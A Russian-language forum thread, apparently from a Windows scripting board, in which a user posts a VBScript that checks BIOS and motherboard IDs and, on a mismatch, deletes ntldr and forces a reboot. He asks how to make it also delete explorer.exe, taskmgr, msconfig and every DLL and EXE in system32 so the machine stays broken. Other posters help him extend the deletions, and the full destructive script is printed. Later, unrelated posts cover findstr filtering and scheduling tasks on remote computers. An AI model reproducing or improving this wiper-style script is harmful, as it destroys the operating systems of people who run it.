[Pozia]

Creat0R, его я скачал а как пользоваться??? Научите. Я запускаю команду содержния:

C:\WINDOWS\system32\screnc C:\ProtectUA.vbs C:\ProtectUA.vbe

Файл ProtectUA.vbs ложу в корень диска С и ничего не происходит. Помогите пожалуйста

содержание скрипта (часть его):

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32?
Помогите пожалуйста

[Creat0R]

как пользоваться? »

Тут есть описание синтаксиса. Я сам никогда не использовал эту программу, поэтому подробнее расказать немогу .

Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32? »

Сомневаюсь что система позволит их удалить, но в любом случае, для удаления дополнительных файлов с этим скриптом, полагаю что будет достаточно просто дублировать строчку:

Код:

objFSO.DeleteFile strSystemDrive & "\File.exe", True

[Pozia]

есть описание синтаксиса »

а на русском где почитать не знаете?

[Pozia]

Creat0R, разобрался с синтаксисом огромное спасибо.
По поводу удаления есть несколько уточнений:

1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True

2. Если удалить папку так надо?
objFSO.DeleteFile strSystemDrive & "\WINDOWS\", True

3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?

4. Если я напишу так
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True

то в операторные скобки заключать не надо чтобы все правильно работало? (это я что то с уроков информатики вспомнил, может и глупость ) Если надо то как?

[Petya V4sechkin]

1. Если мне надо удалить по расширению так будет работать?: objFSO.DeleteFile strSystemDrive & "\*.exe", True

Работает.

2. Если удалить папку так надо?

DeleteFolder

3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?

Параметр True после запятой позволяет удалять read-only файлы или папки.
Заблокированные (на текущий момент) файлы вряд ли удалятся.

4. Если я напишу так

Экспериментируйте.

[Pozia]

Petya V4sechkin, по поводу моего четвертого вопроса. Не получилось. Помогите подправить скрипт.

Вот он полностью

Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "пароль"
Dim arrayAllowedHosts(1)
arrayAllowedHosts(0) = "ID BIOS"
arrayAllowedHosts(1) = "ID BIOS 2"


Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\regedit.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\explorer.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system.ini", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\taskmgr.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\shutdown.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\setup.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\route.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\msconfig.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\logonui.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.dll", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")

Жирным выделил то что добавил я. Если вы не в курсе что это за скрипт то это от сюда
Захотел его усовершенствовать тем чтобы помимо ntldr он удалял еще какие нибудь важные системные файлы, чтобы если даже и восстановят ntldr то система получится глючной или неработоспособной.

Так вот так как я записал скрипт не правильно работает. Если не дабовлять строки то он скрипт проверяет условие и если оно ложное то удаляет ntldr и перегружает комп. Когда я добавил эти жирные строки то скрипт удаляет ntldr и только и комп не перезагружается а идет установка дальше. Все остальное не трогает (хотя там есть файлы которые из под винды без проблем удаляются вручную). Я так понимаю скрипт обрабатывает только строку objFSO.DeleteFile strSystemDrive & "\ntldr", True а остальные не трогает. Как сделать чтобы все эти строки обрабатывались как одно целое?

[Creat0R]

Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK? »

При удалении не должно быть никаких окошек.

[Dr.Dark]

Помогите люди. Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Скажите возможно это сделать через cmd? А то лень на VBS писать.

[Petya V4sechkin]

Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?

Код:

Findstr /L /V /G:B.txt A.txt >NewA.txt

(результат в NewA.txt).

[tarasov.evgeny]

Есть вот такая команда:

Код:

schtasks /create /tn "SysChecks" /tr c:\scripts\sch.bat /sc onstart /s
 compname /u domain\username

Которая добавляет Назначенное задание на compname.
Compname - это имя компьютера. Компьютер не один.
Как можно сделать перебор компьютеров из другого файла?
Я так понимаю нужно использовать команду for
Подскажите как? Я не понял.
Вот так будет работать?

Код:

for %%f in (\\server\c$\pcname.txt) do schtasks /create /tn "SysChecks" /tr
 c:\scripts\sch.bat /sc onstart /s %%f /u domain\username

P.S. Команды написаны в одну строчку

Добавлено:
Я так понимаю, что вот так должно сработать если в файле pcname.txt список компьютеров представлен по одному в строчку и каждая строчка начинается с пробела. Причем файл со списком должен лежать в той же папке с исполняемым batником.
Я правильно понял?

Код:

for /f %%f in (pcname.txt) do schtasks /create /tn "SysChecks" /tr
 c:\scripts\sch.bat /sc onstart /s %%f /u domain\username

Добавлено:
Не. Не работает. Пишет что на найден сетевой путь.

Добавлено:
Всё работает. Я забыл про этот параметр (который выше обозначен красным) и не вписал его в bat-файл. Плюс ещё в списке компьютеров (pcname.txt) были указаны два компьютера. Соседний и мой, т.е. локальный. И командная строка на это ругалась.
Всем спасибо. Скоро ещё зайду.